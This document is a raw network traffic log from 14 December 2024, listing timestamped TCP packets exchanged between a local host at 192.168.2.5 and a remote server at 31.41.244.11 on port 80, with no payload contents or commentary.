Dec 14, 2024 14:56:10.468411922 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.473432064 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.473479033 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.473573923 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.473728895 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.478687048 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.478790045 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.478843927 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.483863115 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.483906984 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.483971119 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.484009027 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.489340067 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.489444971 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.489487886 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.494191885 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.494265079 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.494290113 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.494302988 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.499011993 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.499128103 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.499197960 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.499248028 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.504324913 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.504407883 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.504556894 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.504556894 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.509259939 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.509346008 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.509490013 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.513974905 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.514282942 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.514416933 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.518671989 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.518826962 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.518906116 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.518964052 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.523646116 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.523739100 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.523844957 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.524225950 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.527386904 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.527648926 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.527806997 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.531254053 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.531380892 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.531434059 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.531516075 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.535002947 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.535171986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.535238981 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.535285950 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.539041996 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.539093971 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.539149046 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.542546034 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.542598009 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.542757034 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.542943954 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.546336889 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.546526909 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.546679020 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.550234079 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.550311089 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.550313950 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.550363064 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.553994894 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.554146051 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.554163933 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.554245949 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.557892084 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.558062077 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.558092117 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.558161020 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.561542988 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.561691999 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.652762890 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.652895927 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.653050900 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.653050900 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.654290915 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.654393911 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.654443979 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.654443979 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.657320023 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.657494068 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.657567978 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.657620907 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.660375118 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.660420895 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.660485983 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.660701990 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.663371086 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.663417101 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.663523912 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.663691998 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.666424036 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.666479111 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.666660070 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.666832924 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.669169903 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.669234991 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.669327974 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.669487953 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.671890974 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.671957970 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.671983004 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.672039986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.674675941 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.674730062 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.674803972 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.675024986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.677462101 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.677510023 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.677577019 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.677752018 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.679975986 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.680027008 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.680078983 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.680154085 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.682596922 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.682651043 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.682724953 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.682912111 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.685272932 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.685322046 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.685359001 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.685679913 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.687958002 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.688009024 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.688097000 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.688143969 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.690329075 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.690391064 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.690457106 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.690512896 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.692912102 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.692962885 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.693039894 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.693088055 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.695497990 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.695547104 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.695631027 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.695792913 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.698122025 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.698190928 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.698235035 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.698463917 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.700614929 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.700666904 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.700741053 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.700794935 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.703226089 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.703277111 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.703397036 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.703566074 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.705945969 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.706001043 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.706206083 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.706362009 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.708328962 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.708380938 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.708455086 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.708501101 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.710879087 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.710930109 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.710931063 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.710977077 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.713481903 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.713612080 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.713639975 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.713721037 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.716028929 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.716156960 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.716202974 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.716202974 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.718616962 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.718683958 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.718734026 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.718780041 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.721201897 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.721369982 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.721378088 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.721458912 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.723740101 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.723892927 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.723934889 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.723978043 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.726294041 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.726429939 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.726444960 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.726524115 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.728960991 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.729027033 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.729104996 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.729152918 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.731482029 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.731540918 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.731725931 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.731869936 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.844773054 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.844899893 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.844952106 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.845032930 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.845272064 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.845376015 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.845422983 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.845494986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.847336054 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.847434044 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.847496986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.847496986 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.849348068 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.849483013 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.849539995 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.849539995 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.851380110 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.851490021 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.851553917 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.851555109 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.853343010 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.853394985 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.853467941 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.853517056 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.855364084 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.855417967 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.855478048 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.855525970 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.857626915 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.857677937 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.857753992 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.857800961 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.859333038 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.859383106 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.859453917 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.859500885 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.861388922 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.861443043 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.861541986 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.861588955 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.863390923 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.863410950 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.863439083 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.863467932 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.865262985 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.865362883 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.865413904 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.867254972 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.867296934 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.867425919 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.867486954 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.869251966 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.869311094 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.869357109 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.869396925 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.871243954 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.871287107 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.871337891 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.871386051 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.873265028 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.873308897 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.873339891 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.873382092 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.875391006 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.875439882 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.875489950 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.875530958 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.877316952 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.877363920 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.877444983 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.877485991 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.879246950 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.879290104 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.879369020 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.879411936 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.881246090 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.881290913 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.881377935 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.881437063 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.883186102 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.883229971 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.883331060 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.883373976 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.885164976 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.885212898 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.885274887 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.885317087 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.887146950 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.887197018 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.887253046 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.887293100 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.889128923 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.889172077 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.889233112 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.889275074 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.891118050 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.891165018 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.891228914 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.891268969 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.893100023 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.893143892 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.893197060 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.893239021 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.895092964 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.895137072 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.895184994 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.895227909 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.897142887 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.897187948 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.897233009 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.897274971 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.899209023 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.899271011 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.899327993 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.899384975 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.901091099 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.901135921 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.901182890 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.901225090 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.903064013 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.903106928 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.903177023 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.903223991 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.905049086 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.905114889 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.905178070 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.905222893 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.907038927 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.907079935 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.907135010 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.907175064 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.909010887 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.909054041 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.909060001 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.909100056 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.911021948 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.911063910 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.911103964 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.911143064 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.913002968 CET	80	49828	31.41.244.11	192.168.2.5
